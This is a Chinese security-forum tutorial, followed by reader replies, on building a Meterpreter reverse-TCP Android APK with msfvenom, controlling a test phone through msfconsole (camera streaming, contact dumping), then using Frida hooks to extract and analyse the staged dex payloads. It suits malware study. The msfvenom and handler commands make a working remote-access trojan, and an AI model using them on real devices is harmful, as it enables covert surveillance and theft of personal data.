首页
社区
课程
招聘
[原创]使用msfvenom生成恶意APP并对该APK进行拆包分析
2020-8-19 18:17 13705

[原创]使用msfvenom生成恶意APP并对该APK进行拆包分析

2020-8-19 18:17
13705

1.前言

前几天看到有帖子在写msfvenom生成恶意APP的内容,感兴趣去玩了一下,然后对生成的APK进行了拆包分析。中间遇到了不少的问题,在此记录并分享一下

2.环境

使用到的工具:jre、frida

测试手机:Pixel XL、Android 9

测试平台:Ubuntu (Kali本身有自带metasploit,但这里为了同时记录安装过程,所以用Ubuntu)

3.生成恶意app

3.1 安装metasploit

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 官方的GitHub上有很详细的安装说明,大概步骤如下:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

(注:下载过程有点漫长,可以试试科学上网或许会快一些)


安装完成后,用 msfvenom -l payloads 命令查看当前的payloads有哪些

我使用的是红框内的android/meterpreter/reverse_tcp

3.2 使用msfvenom生成APK

输入命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=Ubuntu的ip LPORT=端口号 R > xxxxx.apk

其中,-p是指定的payload,LHOST和LPORT是待会要执行攻击的主机IP和PORT,设置为本机就好了。(如下,我的Ubuntu的IP是192.168.31.103)

中途可能会提示需要安装一些工具,如apktool、jarsigner等,根据提示安装好即可



将生成的APK安装至手机,可以看到,它需要获取到很多权限


3.3 使用msfconsole操控手机

先启动msfconsole

msfconsole


然后开始配置metasploit

use exploit/multi/handler   //加载模块
set payload android/meterpreter/reverse_tcp   //选择我们刚刚设置Payload
set LHOST 192.168.31.103   //这里的IP是我们刚刚设置的IP地址
set LPORT 3389   //这里的端口是我们刚刚设置的端口


然后输入exploit命令开始监听。打开我们刚刚手机安装的APP,可以看到下图已经监听到我的手机了



webcam_stream    //开启摄像头

可以看到下图,电脑中显示的就是我手持的手机后摄拍摄的镜头


dump_contacts   //导出联系人

可以看到下图,手机的联系人信息已经被导出(注:下面的电话号码是我随便乱输的,如有雷同纯属巧合)


msfconsole里面还提供了大量的命令供我们使用,这里就不一一讲解了,大家可以输入 ?  进行查看


4.拆包与hook

直接将APK拖进jre


MainActivity中,它启动了一个后台服务,通过一系列的套娃,最终是到了 Payload 类的 main 方法中

代码很长,而且被混淆了,这里就不截全了。这个方法前半段主要是从 Payload.a 这个变量读取各种各样的信息,包括我们之前使用msfvenom命令设置的LHOST、LPORT等



Payload.main 方法的后半段,猜测变量 v7 是从上面获取到的IP和端口,我们利用frida去hook startsWith 这个方法看看。果然是我们最开始设置的IP与端口号。

后面根据IP和端口,new了一个Socket,拿到InputStream和OutputStream,从而能跟我们的主机(即我的Ubuntu)拿数据,然后就到了方法Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  

Java.perform(function(){
    var Stringg = Java.use("java.lang.String");
	console.log("1")
    Stringg.startsWith.overload('java.lang.String').implementation=function(arg1){
		console.log("----------String.startsWith:----------")
		console.log(this)
        var reval = this.startsWith(arg1)
		return reval
    }
});


那么,拿了什么数据呢?我们再点进去 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  。

这里对调用了两次 Payload.a(java.io.DataInputStream) ,同样打开这个方法看看。容易看出是通过这个方法从 DataInputStream arg11 read数据,赋值给了v3与v4。

从下面的 DexClassLoader 我们可以推出,这里动态的加载了dex,并加载了其中某个类的 start 方法。而 v3 就是这个类的名字,v4 则是这个dex

所以,我们大概可以总结出 Payload 这个类的主要作用就是先读取各种各样的配置信息,然后根据配置信息内的IP及端口从主机拿到dex,并加载该dex,执行start方法。


我们再次使用frida把这个dex给hook出来。我这里hook的是 Payload.a(java.io.DataInputStream) ,因为这个方法返回值正好是dex的byte[]数据,我们可以直接拿到写入文件中。1866.dex就是我们所需要的了

Java.perform(function(){
        var Payload = Java.use("com.metasploit.stage.Payload");
	        console.log("1")
        Payload.a.overload('java.io.DataInputStream').implementation=function(arg1){
	        console.log("----------Payload.a.overload('java.io.DataInputStream'):----------")
            var reval = this.a(arg1)
	        console.log(reval.length)
			
	        //调用java的File和FileOutputStream,将byte[]数据写入文件中
	        var v5 = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+reval.length+".dex")
	        var v6 = Java.use("java.io.FileOutputStream").$new(v5)
			
            v6.write(reval);
            v6.flush();
            v6.close();
	        console.log("write success")
	        return reval
        }
});



把1866.dex从手机中拿出来,拖入jre中。只有一个类 Meterpreter 和两个方法 start

分析过上面的 Payload 之后,看这段代码会感觉似曾相识。。没错,它又再一次的从 DataInputStream 中read了一个dex出来加载,真是一套又一套。

这里加载了 com.metasploit.meterpreter.AndroidMeterpreter 这个类,并调用了它的构造函数



同样的,我们需要把这个dex给弄出来,想法是hook Meterpreter.start 方法,拿到它的 DataInputStream arg14 参数,然后就可以把dex的数据给read出来写入文件中

这里踩了很多坑,查了不少的资料,尝试了多次之后才成功。主要参考的是下面两篇文章:

使用frida hook插件化apk

进阶Frida--Android逆向之动态加载dex Hook(三)(下篇)

刚开始的时候我是直接去hook Meterpreter.start 方法,结果发现根本找不到这个类,主要原因是这个类不在默认的classloader中,那么我们就需要去找到这个类对应的classloader


frida代码如下,主要是利用 Java.enumerateClassLoaders(callbacks) 枚举所有的classloader,找到哪个classloader中有 Meterpreter 类。然后修改 Java.classFactory.loader 的值。

Java.perform(function () {
        var hook_class_name = "androidpayload.stage.Meterpreter";
        Java.enumerateClassLoaders({
            onMatch: function (loader) {
                try {
                    if (loader.findClass(hook_class_name)) {
                        console.log(loader);
                        Java.classFactory.loader = loader;
                    }
                } catch (error) {

                }
            }, 
	            onComplete: function () {

            }
        });
		
	        var Meterpreter = Java.classFactory.use(hook_class_name);
	        console.log("get class success");
	        Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){
		        console.log("----------Meterpreter.start:----------");
	        }
});


结果还是出问题了。。刚启动app的时候,报错找不到这个class。而当我reload脚本之后,居然找到了这个class和对应的classloader,但是 Meterpreter.start 方法却没有被hook到。。



我猜测,是因为在启动app的时候,这个classloader还没有被加载进来,所以才会出现找不到这个Meterpreter class的情况。而当我reload了之后,classloader和Meterpreter class的确是被加载了进来,但是 Meterpreter.start 方法已经被执行过了, 所以才没有输出

----------Meterpreter.start:----------

因此我们需要去找到一个时机,这个classloader和Meterpreter class已经被加载进来了,但是 Meterpreter.start 方法却还没有被执行的时机。最后是定位在了上面提到的 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  ,这里的 loadClass 函数不正是我们所需要的吗,这里已经调用了 DexClassLoader的构造函数,说明classloader被加载进来了,而下面的start却还没有被invoke。让我们去试一下,代码如下:

function hook_dex(){
	Java.perform(function () {
        var hook_class_name = "androidpayload.stage.Meterpreter";
        Java.enumerateClassLoaders({
            onMatch: function (loader) {
                try {
                    if (loader.findClass(hook_class_name)) {
                        console.log(loader);
                        Java.classFactory.loader = loader;
                    }   
                } catch (error){
            
                }
            }, 
	        onComplete: function () {

            }
            });
		
	        var Meterpreter = Java.classFactory.use(hook_class_name);
		console.log("get class success");
		Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){
			console.log("----------Meterpreter.start:----------");
			
			//新建一个byte[],利用readFully方法将dex的数据读取进来
			var core = Java.array('byte', new Array(arg1.readInt()).fill(0));
			arg1.readFully(core);
			
			var file = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+core.length+".dex");
			var fileOutputStream = Java.use("java.io.FileOutputStream").$new(file);
			
            fileOutputStream.write(core);
            fileOutputStream.flush();
            fileOutputStream.close();
			console.log(core.length+".dex write success");
		}
	});
}

if(Java.available){
    Java.perform(function(){
            var dexclassLoader = Java.use("dalvik.system.DexClassLoader");

            dexclassLoader.loadClass.overload('java.lang.String').implementation = function(name){
                var hook_class_name = "androidpayload.stage.Meterpreter";
                var result = this.loadClass(name,false);
                //一旦发现load的class是"dalvik.system.DexClassLoader",我们就调用hook_dex()方法去hook
                if(name == hook_class_name){     
				hook_dex();
				return result;
                }
                return result;
            }
		
    });
}


成功了!

(注:上面的脚本调用了Array.fill()方法,所以在执行脚本时要将 --runtime 参数设置为v8,例:frida -U -f com.metasploit.stage -l my.js --runtime=v8)

(另外上面的代码写的有些粗糙,只是拿到了我想要的dex文件,可能会影响app的正常执行,大家可以看着改改)


5.最后的代码逻辑分析

我们将74267.dex拖入jre中,定位到 com.metasploit.meterpreter.AndroidMeterpreter 这个类的构造函数


5.1 父类构造函数

首先我们先看一下它的父类的构造函数,这里最主要的是 this.transportsthis.commandManager 两个变量。

this.transports 是一个循环链表的结构,它的节点为 Transport 这个类。Transport 记录了主机的IP、端口号等信息,还负责接受主机发来的命令的数据包(如上面所述的webcam_stream、dump_contacts等),解析该数据包,并执行命令对应的代码,返回数据给主机。


this.commandManager 是负责管理命令注册的,Transport 每次需要执行解析命令的时候,都会在 this.commandManager 中去查询, this.commandManager 则会返回一个Class,Transport 再去对应的Class执行代码。

this.commandManager 的构造函数最后执行了一个 load() 方法,load() 方法则给 this.commandManager 注册了多个初始化所需的命令。

下面的core_channel_close、core_channel_eof、core_channel_interact等都继承自 Command 接口,因此可以利用多态的性质

 



5.2 this.loadConfiguration()

接下来再看看 this.loadConfiguration() 这个方法。这个方法其实很简单,就是从配置信息(之前提到的 Payload.a )中读取IP及端口,装入 TcpTransport (继承自Transport)中,然后再将 TcpTransport 链到 this.transports 中。

从下面的 this.transports 的 add 方法也可以看出,它在构造一个循环链表。为什么是循环链表结构?下面我会再介绍



5.3 this.intervalCollectionManager.start()

接下来是 this.intervalCollectionManager.start() 这个方法。这个方法同样也不复杂,只是简单的收集了各种各样的隐私数据(wifi、地址等),统一写入某个文件中




5.4 this.startExecuting()

最后就是 this.startExecuting() 了。

首先通过 this.transports.current() 拿到当前循环链表的头节点 Transport Transport 通过 connet() 方法与主机进行连接,并等待主机发来命令(上面提到的Command)。接收到主机发来的数据后,Transport 就去调用 dispatch() 方法对数据进行解析,执行相应的代码,并返回数据给主机。然后 disconnect() 关闭连接,进入下一个 Transport

那么问题来了,像我这里只有一个主机的IP与端口,即只有一个Transport ,关闭连接之后,链表中不就没下一个了?所以这就是为什么要使用循环链表的原因,在只有一个 Transport 的情况下,链表的下一个 Transport 永远都是当前的 Transport。




可以看到 connect() 也只是简单的建了一个 ServerSocket(因为现在主机才是主动方,app只是被动的接受命令,执行命令,所以才使用ServerSocket),等待主机发来命令



dispatch() 先对收到的数据进行解析,然后调用 executeCommand() 方法。executeCommand() 中调用了getCommand() 拿到了对应的 Class,利用多态的性质去执行命令对应的代码



6.后记

至此所有的分析大概就结束了,代码分析这部分没有太过仔细的分析,只是了解了一下它的大概逻辑结构。查阅资料和尝试的过程还是比较艰辛的,但同时也学到不少东西。

第一次写文章,写的不好的地方大家多多指点。




[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-8-19 20:06 被Hambur编辑 ,原因:
上传的附件:
收藏
点赞8
打赏
分享
最新回复 (10)
雪    币: 2107
活跃值: (1429)
能力值: ( LV8,RANK:126 )
在线值:
发帖
回帖
粉丝
binlmmhc 2020-8-19 19:28
2
0
第一次看到有人分析msf的android部分,可以的
雪    币: 9672
活跃值: (3507)
能力值: ( LV12,RANK:319 )
在线值:
发帖
回帖
粉丝
堂前燕 1 2020-8-19 22:32
3
0
雪    币: 171
活跃值: (394)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ying爵 2020-8-20 09:02
4
0
雪    币: 5380
活跃值: (11815)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2020-8-20 09:14
5
0
学习了
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
git_92730Blyth0He 2020-9-4 15:09
6
0
学习
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_obrowbig 2020-9-7 19:27
7
0
学习学习
雪    币: 307
活跃值: (475)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
北冥鱼丶 2020-12-11 12:07
8
0
写的非常好  解决我当前的问题
雪    币: 1025
活跃值: (196)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
lynxtang 2020-12-12 12:13
9
0
不错不错,学习了哈,顺便记录了一把。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
SnoopyT 2021-9-25 20:27
10
0
学习了,谢谢!
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_zccmmjmn 2021-9-29 00:14
11
0
写的非常好,牛逼大佬
游客
登录 | 注册 方可回帖
返回